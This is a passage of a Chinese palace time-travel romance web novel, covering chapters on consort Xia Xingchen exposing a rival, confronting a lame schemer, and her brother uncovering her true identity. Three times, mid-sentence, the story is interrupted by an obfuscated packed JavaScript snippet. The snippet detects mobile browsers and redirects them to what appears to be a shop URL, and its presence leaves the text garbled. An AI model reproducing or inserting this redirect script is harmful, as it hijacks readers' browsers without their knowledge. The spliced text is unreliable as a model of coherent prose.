“时而看到,时而又看不到。此事甚是诡异无比!” 苏风逸似乎对此事也是没有头绪:“好,臣这就命暗探调查。” 第二日入了夜后,凉亭外的夏星辰放下手中的戏文,站起身伸了个懒腰,故意抬高声音对小莲说道:“小莲,你确定陛下今夜会留在御书房?” “奴婢确定。” “那便好。”夏星辰笑了笑道:“那人可来了?” 小莲点头:“来了,今日恃宠的可是绝佳的男子。” “那赶紧的,你就站在门口把风啊。” “是,娘娘。” 夏星辰走进极咸宫殿内,透过门缝,看到离去的婢女身影,她得意的自言自语:“萧诗柔,若你不来,我便考虑放过你;若你来,那可真是有来无回了。” 她转过身,看到龙榻上的男子,以为是百里不知轻重地躺在尧让的床榻上。便慌张的边跑过去边说道:“百里,你疯了?你怎么还真的躺到陛下的龙榻了。” “你不是不知道陛下有洁癖。”夏星辰掀开帐幔,抓住那人的手臂,用力地将他拉下来:“你快下来。” 可床榻上的人非但没有下来,反倒是轻轻一使劲,便将夏星辰拉进怀里。后者意识到不对劲,立马挣脱开,正抬起手欲要赏给他一个耳光,却被那人重重地抓住了手腕。 “你放肆!” “睁开你的眼睛看清楚,眼前之人是谁?” 听到熟悉的声音,夏星辰抬头,映入眼帘的人正是尧让。她无奈的收回手,轻骂道:“你是不是有毒?为何不说话?” 尧让坐起身,笑道:“朕不是想着看看你的反应吗?万一你真对百里动了贪念,该如何是好?” “我可不是什么随便的人。” 突然,外面传来了萧诗柔的声音:“你这贱婢,让开!陛下已命贴身太监传话,太后和本宫今夜可入极咸宫殿内搜查明妃苏清夕是否与人通奸。” “我家娘娘不是这样的人!”殿外的小莲据理力争着。 夏星辰立马起身,将身上的衣裳脱了下来,顺势弄乱自己的头发;转过身看着尧让,小声地说道:“你快躺好。” 下一刻,殿门被推开,太后和萧诗柔看到衣衫不整的夏星辰站在龙榻旁。见此,太后生气指着夏星辰,骂道:“苏清夕,你这不知羞耻的贱人,竟敢背着皇帝与其他男子私通。” “来人,将明妃拿下!”萧诗柔脸上得意尽显。 “放肆!”夏星辰神情严肃的看向萧诗柔,说道:“这是极咸宫,龙榻上躺着的自然是陛下;本宫再怎么愚蠢,也不会蠢到带其他男子来这极咸宫颠鸾倒凤啊。” “陛下?龙榻上的人绝对不可能是陛下,陛下向来不宠幸嫔妃,这事后宫都知晓。” 夏星辰笑了笑,一步步朝着萧诗柔走过去:“贵妃娘娘记性真差啊,之前的梅花宴上,本宫可是真真实实的被陛下宠幸了呢,此事,贵妃娘娘不知吗?” “什么?你和皇帝已有了肌肤之亲?”太后一脸震惊。 “是的!太后若不信,可问陛下便知。” 萧诗柔怒道:“分明就是你中药了才会爬上龙榻的;与陛下颠鸾倒凤的应当是本宫。” 此话一出,萧诗柔慌张的抬起手捂住了自己的嘴......明眼人都能看得出,她这是不打自招了! “哦?应当是你?”夏星辰笑道:“你的意思是,你分明是给陛下下了药,但不知为何,陛下竟然与本宫颠鸾倒凤?” “本宫没有。” 夏星辰没忍住翻了个白眼:“萧诗柔,你还真当所有人是傻子不成?还是你觉得陛下是傻子?若仔细调查就会发现,你那日借着紫烟给陛下送汤时,偷偷在汤里下了药。” “你......你胡说。” “凑巧紫烟也有下药的行径,所以陛下和本宫才会觉得是紫烟下的药,而她也傻乎乎的替你背了黑锅。”夏星辰走到她身前,一字一句道:“那夜,你应当是在自己身上用了迷情香,可你当时在御书房内久久没等到陛下,焦躁难耐,怕是急着去‘排忧解难’去了。” “苏清夕,你没有证据证明你所说的是真的。可眼下,你的确是与人私通!” 话音刚落,萧诗柔便凑到太后耳边低语。随后,太后便冷声下令:“来人,将明妃拉下去杖毙!” “朕看谁敢!”尧让坐起身,缓慢掀开了帐幔。 太后和萧诗柔看到龙榻上的尧让,惊慌失措的后退了一步。萧诗柔连忙跪了下来:“臣妾......见过陛下!” “朕还真是小瞧了后宫嫔妃的手段啊,让朕都不知不觉中了圈套。” “陛下明察,臣妾不敢!”萧诗柔低下了头。 “皇帝,你竟然不惜放下天子身份,与一个妃子做戏给哀家看?”太后压制着要爆发的怒火。 “这是朕的寝宫,朕想做什么便做什么,哪需要刻意做戏给母后看?母后多心了。” 说罢,尧让站起身,朝着跪在地上的萧诗柔走去,而后便立在她身前,面无表情地说道:“地上太凉了些,站起来。” 萧诗柔脸上露出喜出望外的神情,她缓缓站起身,笑道:“陛下,臣妾......” 话刚说出口,尧让便已一手掐住了她的脖子,将那未说完的话生生掐断了:“是不是因为皇宫里给你的锦衣玉食,让你忘记了你自己的身份?” 萧诗柔艰难地抬起手,无力地拍打着尧让的手,试图让他放过自己。 “皇帝!” 尧让抬眼看向神情焦灼的太后,语气冷淡:“朕希望母后莫要干涉过多朕的事情!” 话都说到这份上,太后只能保持着沉默...... “朕不在意你私通外男,朕在意的是你千不该万不该来算计朕!同样的招数,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16783474|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次了,你都用在朕身上。怎么?你是不是觉得朕动不得你这个贵妃?只是一个萧国公的养女罢了,还真当自己是什么名门贵女?”尧让眼中透露出浓烈的鄙夷之意。 “陛......陛下,放过臣妾吧。”萧诗柔的脸色越发的苍白。 下一刻,尧让猛地松开她,她无力地瘫坐在地上大口的喘着气。而后,她便朝着眼前的帝王叩首道:“多谢陛下不杀之恩。” “萧国公近日并无令朕不悦,朕便看在国公膝下无子女的份上,饶了你这个养女的性命。”尧让忽的将目光落在她身上:“贵妃德行有亏,不配居高位;即日起降为嫔,闭门思过,自省己身。” “皇帝你......” “怎么?母后有意见?”尧让神情冷漠的看向太后。 太后声音轻了些:“皇帝,你这做法是不是过分了些?” 尧让冷笑出声:“朕即便是现在要了她的命,母后您都没资格过问!再者,朕饶她一命,已经是在给萧国公薄面了。” “臣妾叩谢圣恩!”萧诗柔的额头紧紧贴着冰凉的地砖,迟迟没有抬起头。 萧诗柔是个聪明人,她心知肚明,这道圣恩已经是这位帝王最大的让步了! “既然如此,这场闹剧便结束吧!”尧让朝着太后微微躬身道:“恭送母后。” 极咸宫的殿门被重重的关上后,尧让坐在软榻上,抬眼看向一脸不悦的夏星辰,淡淡一笑:“怎么?你对朕的做法极为不满啊?” 夏星辰走上前,语气里带着质问:“同样的事情,同样的性质,陛下你是否太过于偏袒了?” “何意?” “无论萧诗柔做了什么,陛下你总能一笔带过!给皇帝下药这件事,原来是一件极为不重要的事情?以其人之道还治其人之身,这样方能彰显公平,不是吗?” 尧让紧盯着夏星辰的双眼,冷淡道:“你可知道你在跟谁说话?你在质问谁?又在质疑谁?” 见夏星辰欲言又止的模样,他继续道:“朕是皇帝,朕做什么决策是朕的事情,无需与谁解释。即便是哪个人犯下了滔天大罪,朕想护下的人,定能护住,自然不需要缘由。” “对不起!是臣妾没有分寸,是臣妾多管闲事。以后陛下的事情,臣妾不会再多问!” “你在跟朕赌气?” 夏星辰失望的笑了笑:“臣妾哪敢跟陛下赌气?陛下不在意自己的妃子与外男私通,也不在意谋害龙体,臣妾在这里扮演着跳梁小丑,是臣妾愚蠢。” “你......” “臣妾就不在这里惹陛下不悦了,臣妾告退!”夏星辰躬身行礼后便转过身走出了极咸宫。 夏星辰离开之后,尧让看了一眼候着的林贤,无奈道:“朕还以为她是什么聪明人,原来就是个笨蛋!” 听到这话的林贤愣了一下,不知是该附和他的话还是保持沉默,思考了一番后,他还是选择了后者。 “林贤,你现在怎么也不愿理会朕了?” 林贤对上他那双冷漠的双眼,语气慌张的说道:“不是啊陛下,奴才没有心悦过人,不知道怎么替陛下排忧解难。” “这与是否有心悦过人有何干系?” 看着尧让愈发疑惑的眼神,林贤轻声解释道:“明妃娘娘方才如此生气,应当是因为陛下您偏袒其他妃子。而且......而且......” “说清楚,磨磨唧唧做什么呢?” “而且,明妃娘娘每次与陛下您在一起的时候,她已然忘记陛下是皇帝的身份,只是把您当作心仪之人。寻常心意相通之人,是不会有一方凌驾于另外一方之上的。” 尧让轻叹道:“可朕是皇帝!” “在心悦之人面前,可......可适当放低身段。”林贤说这话时,声音明显愈发的小。 “林贤,朕怎么觉得你处处在替她说话啊。” 林贤诚实的点点头:“因为奴才能感觉得到,明妃娘娘是真心实意待陛下好的。况且,今晚这事,娘娘之所以不惜有损自己名声也要揪出贵妃所做之事,是为了给陛下您讨公道。” “所以,你的意思是......朕错了?” “奴才知道陛下是因为朝野之事在静待机会,但娘娘不知情。她知道的只是想替陛下讨公道,可陛下您所说的那些话不就是在辜负娘娘的好意吗?” 尧让想了想:“那你觉得朕要赏赐她什么东西才好?” “名贵的似乎......可行。” “便如此吧,你去挑!” 39.跛脚之人 莹粹宫里,夏星辰看着琳琅满目的御赐之物,个个散发出了阵阵金光。她忍不住走上前拿起一块黄金,掂了掂重量后,嘴角不自觉扬起:“哇塞,这么多黄金啊。” “娘娘,这是陛下赏赐给您的。”林贤笑道。 “陛下为何要赐予本宫这些名贵之物?” “陛下说了,娘娘有功,当赏!” 夏星辰一看到这些黄金就开心得合不拢嘴:“好吧,本宫就不客气的收下了。”随即,便朝着小莲招手:“小莲,快快快,收好。” 小莲点点头:“是,娘娘。” “那奴才就先行告退了!” 夏星辰开心的说道:“林公公,再见啊!”而后,连忙朝着内殿走去,将这些黄金好好的藏了起来。 同往常一样,夏星辰用完晚膳后便会去后花园散散步。路上却意外碰到林贤带着一个人往极咸宫走去,她连忙朝着林贤打了个招呼:“林公公。” “娘娘。”林贤躬身道。 夏星辰看了一眼林贤身后之人,那人低着头,使她看不清样貌。 “林公公,他是?” “陛下命奴才所寻之人。”林贤轻声说道:“若娘娘无事吩咐,那奴才便带他去面圣了。” “好,快去吧。” 夏星辰转过身看着二人离去的背影,虽说那人给她的感觉甚是奇怪,但她实在是也找不到奇怪之处。回身离开之际,她猛然想起了什么,喃喃自语道:“那人是跛脚的......” “娘娘,怎么了?” “小莲,方才那人是不是跛脚?” “好像是。” 夏星辰越发的觉得奇怪且熟悉:“我好像......忘记了什么似的。” 她苦于记性与金鱼一样,只有七秒的记忆。索性,她也便没将这件事放在心上。 直到那一天,夏星辰碰巧听到尧让寻了一个说书说得非常好的先生进了皇宫。在这个没有手机等电子设备的古代,能够打发时间的只有那些戏文了,所以,她便蹑手蹑脚地来到后花园去看看说书先生会不会提前练习要讲的戏文。 “草民见过娘娘。”说书先生深深的鞠躬道。 见他看到了自己,夏星辰便也不躲着,尴尬的笑了笑。她走上前,说出了自己来此处的缘由:“是这样的,本宫很喜欢戏文,想问问你今天要讲什么内容?” “这......启禀娘娘,草民今日所讲的内容是要讲给陛下听的,不可提前透露。” “那行吧。”夏星辰看了一旁桌子上放着的戏文,问道:“总有些能给本宫看的吧?” 说书先生笑了笑,拿起了一本戏文递给她,说道:“娘娘应当会喜欢这本。” 夏星辰接过戏文翻开,视线落在第一页纸上的内容时,她便被吓得丢掉手中的戏文。随后惊慌地看向说书先生,问道:“这书上的内容什么意思?” “娘娘莫要惊慌,这只是戏文上的一段奇事。” “奇事?什么奇事?” “这段奇事讲的是一位名门贵女,为了相助自己的情郎夺取皇权,便进了皇宫,当了妃子。甚者,还谋害了当时备受宠爱的皇后娘娘。” “后来呢?” 说书先生顿了顿,说道:“后来,她便易容成皇后娘娘的模样,一步步得到帝王的信任。故事的最后,便是改朝换代,恭迎新帝。” 夏星辰突觉得身体发软,这段奇事不就是讲的她吗?准确来说应该是原主苏清夕。 那股奇怪的感觉又再次涌上心头,尤其是那个跛脚的人。 下一瞬,她便逐渐想起了一段现代的记忆,那段记忆是她当时在图书馆翻阅的一本古籍。 “历史上唯一一个没有立后的皇帝只有秦始皇赢政。可据逐渐新挖掘出来的文物证明和古籍记载,始皇帝是立过后的!铁证便是那些鲜少的文物都刻上了凤纹,以及秦简中也有明确记载,始皇帝身侧有一心悦之人,并非后世所说的那般有众多妃子。” “可令人奇怪的是……对于这位皇后的记载却是少之又少,仿佛在一夕之间消失了!自然而然,人们便也相信秦始皇的确是没立过后的。” “究竟是不存在还是被有心之人刻意淡化?” 随着这段记忆的想起,关于她是如何穿越到这个朝代的记忆也一点点的想了起来。 那一天,她特意在周末起了一个大早;紧接着便去了新开的一家博物馆。由于今天是新开的第一天,博物馆自然是挤满了人。 夏星辰与其他人一样,来这么早就是为了目睹最近考古学家新挖出土的宝箱。就在几天前,电视上便播报过这宝箱中的机关诡异难解,为此还特地请了专研这一领域的专家在全国大众面前解开这埋藏了千年的历史。毕竟,全国人民都还是很期待,这从千古一帝陵墓之中出土的宝箱,其中究竟藏了什么乾坤。 但此时却出现了意外,宝箱还没有来得及破解开,一场大雨却悄然而至。无奈,众人只能纷纷躲进了博物馆的禁止观览区域,因为今天的人实在是太多,所以夏星辰只能随着一退再退的人流往后退去,这时候,她的身体已然越过了那条被拉起来的禁止观览区的红线。 禁止观览区域内的灯光忽然全部亮了起来,夏星辰惊慌失措地抬起眼,一身黑金色的龙袍赫然出现在她眼前;在周围幽暗的灯光衬托下,这身龙袍的威压感更加的强烈,也使得夏星辰不自觉地往后退了好几步。 夏星辰这个人深知强烈的好奇心会害死猫的这种道理,并且她还特别胆小。虽然是来自于新时代,但是一些封建的思想还是牢牢刻在她的脑中,比如什么“鬼怪”什么的;所以,她小声地嘀咕道:“莫怪莫怪,我是无意闯进来的,不是有意冒犯的。” 本来已经走到门口了,身后出现的一道强光突然将自己的身体覆盖住了。夏星辰吓得愣在了原地,她不自觉紧张地咽了一下口水,随即缓缓转过身;原来是大屏幕播放了历史纪录片。 看着纪录片里千古一帝的辉煌历史,夏星辰俨然是忘记了自己身处何地,此时的她已经被这纪录片吸引了全部的注意力。 “不愧是我们这迷人的老祖宗,就是可惜,他这辉煌的一生太过于短暂了。”夏星辰看着纪录片里那威风凛凛的千古一帝,语气中带着惋惜感叹道。 纪录片里,孤独地坐在龙椅上、身着黑金色龙袍的帝王睁开了他那双深邃的眼眸。与他对视上的那瞬间,夏星辰顿时觉得慌张无比。不知道为何,她总觉得......他是在看着她! “小满!朕等你很久了。” 纪录片里突然出现的这一句话,吓得夏星辰立刻转回身,拼了命地往出口跑去;但就在此时,眼前的出口变成了一堵墙,下一刻,夏星辰就猝不及防地撞了上去,直接晕死了过去。 随后,记忆从此出现了混乱...... “娘娘,您没事吧?”说书先生疑惑的问道。 夏星辰摇了摇头,随后便转过身跌跌撞撞地朝着莹粹宫的方向走去。 “为什么跟我所认知到的历史完全不一样?如果说,戏文上所描述的是真的,那即便是我穿到苏清夕的身上,我也会被历史推着走?最后会杀了尧让?可是,尧让怎么会是秦始皇呢?秦始皇不是叫嬴政吗?” 夏星辰越想越觉得不对劲:“还有,我为何会出现记忆混乱呢?如果我想起来的才是真正的记忆,那么,我根本就不是穿书,而是穿到真实发生的历史里了?” 似乎是想通了什么,她连忙转回身,往御书房的方向跑去。 刚跑到御书房门口,便看到那个跛脚之人正从内殿走出来。夏星辰此时顾不上其他,她一把夺过御林军的长枪,随即便直指着跛脚之人的咽喉。 “娘娘,这是何意?”那人神情慌张的看着要取他性命的夏星辰。 若是历史没有偏差,若是尧让就是嬴政,那这跛脚之人便是在后来的时间里残害忠臣,成为帝王身边最受信任之人。以至于最后,导致一个朝代的落败。 夏星辰看着眼前之人,她无比确定自己了解的历史绝对没有偏差,毕竟,祸国之人留下的印象实在是太深刻了。 “小夕,你做什么?”苏风逸一步步走上前:“放下长枪!” “不行!此人是带有目的的,必须要杀掉。”夏星辰攥紧着长枪,语气坚定。 林贤走到夏星辰身边,低声说道:“娘娘,陛下有请!” “可他......”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791472|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>苏风逸忽的握住了枪杆,开口道:“哥哥帮你看着,行吗?” “行吧。”迫于无奈,她放下了手中的长枪,随着林贤走进了御书房。 龙椅上的尧让看着走进来的夏星辰,便屏退了殿内的人,只剩下他二人。 “苏清夕,谁给你的胆子在御书房外杀人?又是谁给你的胆子对朕身边之人下手?” 夏星辰上前一步,语气肯定的说道:“对不起陛下,但我还是要说,你绝对不能重用那个跛脚之人,他的计策全是带有目的的。” “哦?你既说他是别有用心之人,那他背后之人是谁啊?” “我不知道,但是我非常确定,他是想借助你的手,杀害忠臣,一步步夺取皇权,你信我!” 尧让站起身,一步步走到夏星辰身前,俯身看着她,问道:“你怎么知道的?” “我......我从书上了解到的。” “书上?哪一本书竟然如此神奇,能预知未来发生的事情?这倒是勾起了朕的好奇心。” 夏星辰知道自己这番说辞无法令尧让信服。她攥住他的衣袖,眼神坚定道:“他是不是献计,让你派兵前往桓州,说是可以剿灭萧国公势力,对不对?” “对。”尧让原本戏谑的表情瞬间变得严肃:“你的意思是,这里面有诈?” “有诈!桓州那边根本就不是萧国公的势力,只是前些日子越狱的杀人犯。一旦陛下你派兵过去,这些武艺高强的杀人犯便会铤而走险。届时陛下你还能分得清楚,被杀害的左膀右臂究竟是被杀人犯杀的,还是被谋害的?” “听起来倒像那么回事。” 夏星辰点点头:“你千万别派兵去,行吗?” “朕知道了,朕会好好考虑的。” 看着尧让一副无所谓的神情,她开口问道:“你不信我?” “并非朕不信你,而是朕有一事不解,你能否解答?” “什么事?” 尧让嘴角上扬:“明面上,谁都知道朕的王兄野心勃勃;即便是那些对朕马首是瞻的朝臣,私下里也是王兄的人。而你,是心悦过王兄的人,如今你要倒戈相向?” “朕说这些是想问你想清楚了吗?你选择站在朕这边,即便是击溃了王兄的势力,你也当不了皇后。但若是王兄赢了,说不准,皇后之位还真是你的。” 夏星辰愣了一下,她瞬间不知道怎么回答。她总不能回答她不是苏清夕,是绝对不会期待尧显是最后赢家,但她又无法向尧让解释清楚自己的由来。 “怎么?不知道怎么回答。” “那......不如这样吧陛下,你就别把我当作苏清夕,可好?” 尧让笑出了声:“既如此,甚好。” “启禀陛下,事情已解决!”殿外的林贤轻声说道。 “进来吧。” 下一刻,殿门被打开,林贤、百里,以及苏风逸缓步走了进来。 苏风逸看着夏星辰,不禁对她竖起了大拇指,笑道:“小夕,哥哥竟不知道你如此聪明啊。” “聪明?我怎么了?” “那个跛脚之人,哥哥杀了!” 夏星辰不可置信的啊了一声:“杀了?” 苏风逸点头:“是啊,陛下吩咐的。” “所以,你早就知道了他是带有目的的?”夏星辰看向尧让,后者微微点了点头。 “不对啊,书上不是这样说的啊。”夏星辰愈发疑惑:“难不成,我看的是野史?亦或者,尧让还真不是嬴政?” 当然,能听清楚最后那句话的只有夏星辰自己! 苏风逸轻拍了她的肩膀:“当他向陛下献计的时候,我们就听出端倪了。” “什么端倪?” 尧让语气冷淡道:“桓州那带的势力不是萧国公的这件事朕很早就知晓了。而那跛脚之人真正的目的不仅仅是朕的左膀右臂,还想断掉萧国公的一臂;再说了,萧国公那老家伙岂是那么容易露馅的。” “那他是谁的人啊?”夏星辰问道。 “谋士!”尧让和苏风逸同时说道。 他们这一言一语,让夏星辰都忍不住怀疑起自己:“合着,我才是那个小丑啊!” 40.欺君之罪 走出殿内的夏星辰依然百思不得其解。她实在是不明白,自己所了解到的历史怎么会发生了偏差? 但一细想,这也不奇怪;毕竟,随着一件又一件文物的出土,原先那些被认为的历史也会随之被推翻。 “到底谁能告诉我,尧让与秦始皇有什么关系啊?”夏星辰忍不住抓耳挠腮:“难道我看的真是野史?秦始皇不叫嬴政?” 随后,这番荒谬的言论就被自己否定了:“神经病啊,秦始皇怎么会不叫嬴政!我也是昏了头了。” “秦始皇是谁?” 正在自言自语的夏星辰被突然出现在自己耳边的声音吓得虎躯一震。她转过身,看着苏风逸,无奈的说道:“哥哥,你知不知道,人吓人是会吓死人的。” “你不做亏心事,怎么会吓得到你呢?”苏风逸又追问了一遍:“秦始皇是谁?” 夏星辰诚实的回答:“嬴政啊。” “他也是你那个世界的?” “不不不,他是我的老祖宗而已。” 话音刚落,夏星辰这才反应过来自己竟说漏了嘴。她看向苏风逸那看透一切的神情,尴尬的笑说:“哥哥,你别这样看我,我害怕。” 苏风逸温柔的笑道:“别怕,哥哥不吃人。只是突然想起来,哥哥给买了你最喜欢吃的栗子糕,你要不要吃?” “那肯定吃啊。” 莹粹宫里,苏风逸将油纸包展开,冒着暖雾的栗子糕便露了出来,甜香瞬间蔓延了整间屋子。 夏星辰没忍住拿起了一块栗子糕,然后轻轻咬了一口,脸上随即露出了幸福的神情:“就是这个味道,太好吃了。” “甜吗?”苏风逸的声音忽然响起。 “甜,太甜了。”她边咀嚼着边点头回应。 苏风逸自顾自倒了杯热茶,笑了笑道:“自从小夕在冷宫摔了那一跤,整个人都变了。变得珍惜家人,维护将军府,甚至也将自己之前的恶习丢得一干二净。” 夏星辰细细咀嚼着嘴里的栗子糕,内心不安的问道:“什么意思啊哥哥?” 苏风逸没回答,只是将倒满的茶水喝了下去。而她看着他,内心早已因为猜测而变得愈发惶恐不安。 眼前的苏风逸依旧是往日洒脱模样,可她此时却读不透他眼底深藏的情绪,心脏因为紧张而突突直跳;难不成,苏风逸发现了她不是他的亲生妹妹苏清夕了? 完蛋了!夏星辰此时像是已经知道了结局。 “从前,你最是讨厌吃栗子糕了!就因为哥哥之前将栗子糕分给了府里的下人,你便觉得栗子糕是下等人才吃的肮脏之物,从那时起,你便一次都没吃过。” 夏星辰指尖一抖,栗子糕的碎屑落在了衣襟上,慌忙抬头辩解道:“哥哥,是因为......是因为我在宫里偶然吃过一次,所以才忽然又喜欢上了。” 话说出口时,声音里的颤意藏都藏不住。这种话连夏星辰自己都不会信,就更别说是久经沙场的苏风逸了。 夏星辰实在是没想到原主苏清夕竟然是这样的贵家女,就因为下人吃了和她一样的东西,就觉得那样东西肮脏。 究竟是觉得自己的命得多高贵?夏星辰心里顿感无语。 “我是你兄长,你是什么样的人我怎会不知?你本就不是什么良善之人,也不是什么天真无邪之人,绝对不可能为了我和整个将军府,不惜搭上自己的性命也要在陛下面前求情,你苏清夕不可能是这种人!” 话音刚落,苏风逸抬眼盯着夏星辰,一字一句追问:“妹妹,我应该这样问,你到底是不是我妹妹?” 这一刻,还是来了...... 夏星辰垂着头,指尖把栗子糕攥得愈发细碎,粉末从指缝簌簌往下掉。 果然,苏风逸心底的那点怀疑,终究被他亲手证实了答案;直到此刻,夏星辰才真正看清他。 苏风逸可从来不是什么愚钝之辈,论起心思深沉、城府谋略,完全毫不逊于九五至尊的皇帝尧让。 而那声‘哥哥’在喉咙里滚了又滚,终究没有勇气喊出口,解释的话更是不知从何说起。 “你不会以为当今陛下对你有些许好奇,以及他一次次饶恕你,你便觉得自己就是那个特殊的例外?”苏风逸淡淡一笑:“欺君之罪是死罪!你觉得陛下会因为对你的好奇而放过你?” “我......” “你有没有想过,陛下喜欢的究竟是苏清夕还是你这个占了她身子的人?你敢赌吗?江山和美人,陛下会作何选择?” “我没有这么想过!不是我想占了苏清夕的身子,是因为我穿越了。”夏星辰看着苏风逸,索性不管不顾的坦诚相告:“我不知道怎么跟你解释穿越是什么意思,简单来说就是我稀里糊涂的就来到这里了,然后稀里糊涂的就成为了苏清夕。” “你既然不是苏清夕,那你叫什么名字?” “夏星辰。” 见苏风逸看向自己的神情中夹带着浓烈的疑惑之意,夏星辰生怕他觉得她是在狡辩,更怕他以为是她杀了苏清夕什么的。 “你相信我,我真的没有伤害过苏清夕,我更没有想过要占据她的身子。”她认真的看着苏风逸:“因为我不是苏清夕,所以我根本不会去伤害你和将军府,以及陛下,我没理由这么做。” “至于......我为何会穿到苏清夕身上,抱歉,我自己也不知道。” 苏风逸看着真诚且坚定的夏星辰,他再次抬手拿起一个新的茶杯,斟了一杯热茶;只是这一次,他将这杯热茶推到了她的面前。 过往发生的种种,对于他一个在战场杀敌无数,见惯了冷血无情的人,自然是能分得清孰是孰非。那个在将军府偷偷摘他养的爱花,插在熟睡的他头上,那个偷尝他买的点心的人......密密麻麻的一件又一件小事,此时却像汹涌的潮水涌入了他的脑海中。 “栗子糕有点噎,喝杯茶吧。” 夏星辰低头看着眼前的热茶,神情不解:“你这是什么意思?是原谅我了?” “你又没做错什么,我为何要怪你?况且,这样子的妹妹,我很喜欢。” 看着苏风逸脸上的笑意,她实在是不明白为何他在得知她的身份后,竟然这般的释怀?但此时的她,并不是很想知道原因。 “那你可不可以别告诉陛下?” “行,我答应你。但我也得同你说清楚,陛下精明得很,你自己看着办。”苏风逸看了一眼栗子糕,笑道:“这栗子糕是哥哥专门给你买的,你慢点吃。” 看着她攥着衣角、欲言又止的模样,忽然弯了弯唇角:“怎么?这就不愿意叫我哥哥了?” “哥哥!”她再也忍不住,眼泪又掉了下来,声音带着浓重的哭腔:“我......我以为你不要我了,再也不喜欢我了。” 苏风逸抬起手,温柔的抚摸着她的头,笑着哄道:“哥哥从未说不要你啊,也从未说不喜欢你啊;别哭了,再哭眼睛该肿了,就不好看了。” 刚才的那一刻,她是真的很害怕自己会失去苏风逸这个哥哥。 “哥哥,你真的不认识嬴政啊?” 苏风逸错愕的摇摇头:“我真不认识。” “那陛下可有什么别的名字?” “没有。” 夏星辰再次拿起了一块栗子糕,吧唧吧唧地咀嚼着。见状,苏风逸站起身,笑道:“妹妹,有没有一种可能,你所了解到的东西是错误的?亦或者说,可信度不高呢?” “啊?这可是历史书上写的。” “你都说是写的了,写书的又不是书中之人,他怎会了解别人漫长的一生呢?又怎会了解他人的爱恨情仇呢?” 夏星辰愣了一下:“你这话我的确是无法反驳。” “别太当真了,只有自己经历的才是真的。”苏风逸笑了笑:“哥哥走了。” 夏星辰的智商本来也不是很高,她的穿越也不像电视剧上那样有所谓的系统帮忙。她走的每一步都要靠自己瞎琢磨出来,踏错一步便是万劫不复。 像刚才那样,只要露出一点破绽,就极其容易被看穿身份。 “管他是不是秦始皇呢?”夏星辰又再次吃了一块栗子糕,直接摆起了烂。 安生的日子过了一天又一天,苏风逸果然是个遵守承诺的人,他还真没将看穿自己身份的事情告诉尧让,这让夏星辰对他的好感度又上升了。 “苏清夕啊苏清夕,你说你,有一个智商这么高,又会武功,又有钱的哥哥你不好好珍惜?纯属瞎折腾吗不是。”夏星辰靠着太师椅吐槽着。 原本要进入梦乡的夏星辰突然被一尖叫声惊得睁开眼:“小莲,这是怎么了?” 小莲走了进来,轻声说道:“娘娘,清平公主回宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏星辰从一旁拿起了一张长弓,信心十足:“陛下教的可未必是最厉害的。” 林贤风风火火的跑进御书房,语气夹带着些许慌张道:“陛下,清平公主又玩那‘弓箭求生’的戏码了。” “她喜欢便让她玩。”尧让一副无所谓的态度说着,视线仍旧落在手中的奏折上,未曾移开半分。 “但是,明妃娘娘正在与清平公主比试。” 尧让这才抬起眼看向林贤,问道:“比试?她们比什么?” “射箭!” “苏清夕什么时候学过射箭?” 面对尧让的质问,林贤立刻摇了摇头:“奴才可不会。” “把百里叫进来。” 片刻后,百里走了进来,躬身道:“见过陛下!” 尧让看着他,质问道:“是你教的苏清夕射箭?” “陛下,明妃娘娘硬是让属下教,属下也不敢抗旨啊。” “朕记得朕与你说过,你只听命于朕。何时你也听命于旁人了?” 百里低下头,声音极轻:“属下认为,明妃娘娘迟早也要与陛下琴瑟和鸣,所以就将娘娘视作为陛下亲密之人;如若是亲密之人,应当是一样的。” 尧让放下手中的奏折,语气平静:“朕怎么没发现你这般能说会道啊?” “属下不敢!” 一旁的林贤忽的开口:“陛下,要不要去阻止?” “不必,就让她们玩吧。” 后花园里,尧卿手中的长弓蓄满了力道,箭矢射出去的瞬间,箭矢刺穿了婢女们往半空中抛去的苹果,只剩下一个苹果掉在了地上。 “轮到你了。”尧卿得意的看向夏星辰,似乎已经觉得胜券在握。 夏星辰走上前,她逐渐拉满长弓,随着箭矢的射出,一个不落的刺穿了所有苹果。 尧卿闷哼了一声:“本公主输了!说吧,你要本公主做什么?” “你......不为难为难本宫?” 夏星辰疑惑的看着尧卿,按照狗血电视剧剧情来说,这个时候,不可一世的公主应当要耍无赖,然后百般刁难于她才对。 尧卿这副愿赌服输的模样当真是令夏星辰觉得诧异。 41.一步步试探 看到夏星辰满脸的不可置信,尧卿一下子就猜出她所疑惑之事是什么。 “原来你认为本公主是那种会耍赖的小人啊?” “不......不是吗?” 尧卿哼了一声:“本公主才不是呢。” 身为公主,这样的个性倒是深得夏星辰的喜欢。她走上前,笑道:“既然公主说话算话,那本宫就希望公主日后莫要玩这种游戏了。” “凭......”尧卿话说到一半,便看见夏星辰腰间挂着的玉牌,立刻转移了话题:“你认识苏风逸?” 